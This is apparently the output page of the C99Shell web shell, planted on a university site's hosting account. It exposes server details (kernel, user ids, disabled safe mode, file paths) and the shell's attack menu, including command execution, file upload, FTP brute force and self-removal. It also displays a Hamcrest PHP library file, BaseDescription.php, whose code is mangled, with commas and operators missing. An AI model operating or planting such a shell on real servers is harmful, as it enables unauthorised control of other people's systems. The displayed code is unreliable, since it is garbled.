!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/   drwxr-xr-x
Free 116.58 GB of 200.55 GB (58.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseDescription.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest;

/*
 Copyright (c) 2009 hamcrest.org
 */
use Hamcrest\Internal\SelfDescribingValue;

/**
 * A {@link Hamcrest\Description} that is stored as a string.
 */
abstract class BaseDescription implements Description
{

    public function 
appendText($text)
    {
        
$this->append($text);

        return 
$this;
    }

    public function 
appendDescriptionOf(SelfDescribing $value)
    {
        
$value->describeTo($this);

        return 
$this;
    }

    public function 
appendValue($value)
    {
        if (
is_null($value)) {
            
$this->append('null');
        } elseif (
is_string($value)) {
            
$this->_toPhpSyntax($value);
        } elseif (
is_float($value)) {
            
$this->append('<');
            
$this->append($value);
            
$this->append('F>');
        } elseif (
is_bool($value)) {
            
$this->append('<');
            
$this->append($value 'true' 'false');
            
$this->append('>');
        } elseif (
is_array($value) || $value instanceof \Iterator || $value instanceof \IteratorAggregate) {
            
$this->appendValueList('['', '']'$value);
        } elseif (
is_object($value) && !method_exists($value'__toString')) {
            
$this->append('<');
            
$this->append(get_class($value));
            
$this->append('>');
        } else {
            
$this->append('<');
            
$this->append($value);
            
$this->append('>');
        }

        return 
$this;
    }

    public function 
appendValueList($start$separator$end$values)
    {
        
$list = array();
        foreach (
$values as $v) {
            
$list[] = new SelfDescribingValue($v);
        }

        
$this->appendList($start$separator$end$list);

        return 
$this;
    }

    public function 
appendList($start$separator$end$values)
    {
        
$this->append($start);

        
$separate false;

        foreach (
$values as $value) {
            
/*if (!($value instanceof Hamcrest\SelfDescribing)) {
                $value = new Hamcrest\Internal\SelfDescribingValue($value);
            }*/

            
if ($separate) {
                
$this->append($separator);
            }

            
$this->appendDescriptionOf($value);

            
$separate true;
        }

        
$this->append($end);

        return 
$this;
    }

    
// -- Protected Methods

    /**
     * Append the String <var>$str</var> to the description.
     */
    
abstract protected function append($str);

    
// -- Private Methods

    
private function _toPhpSyntax($value)
    {
        
$str '"';
        for (
$i 0$len strlen($value); $i $len; ++$i) {
            switch (
$value[$i]) {
                case 
'"':
                    
$str .= '\\"';
                    break;

                case 
"\t":
                    
$str .= '\\t';
                    break;

                case 
"\r":
                    
$str .= '\\r';
                    break;

                case 
"\n":
                    
$str .= '\\n';
                    break;

                default:
                    
$str .= $value[$i];
            }
        }
        
$str .= '"';
        
$this->append($str);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0304 ]--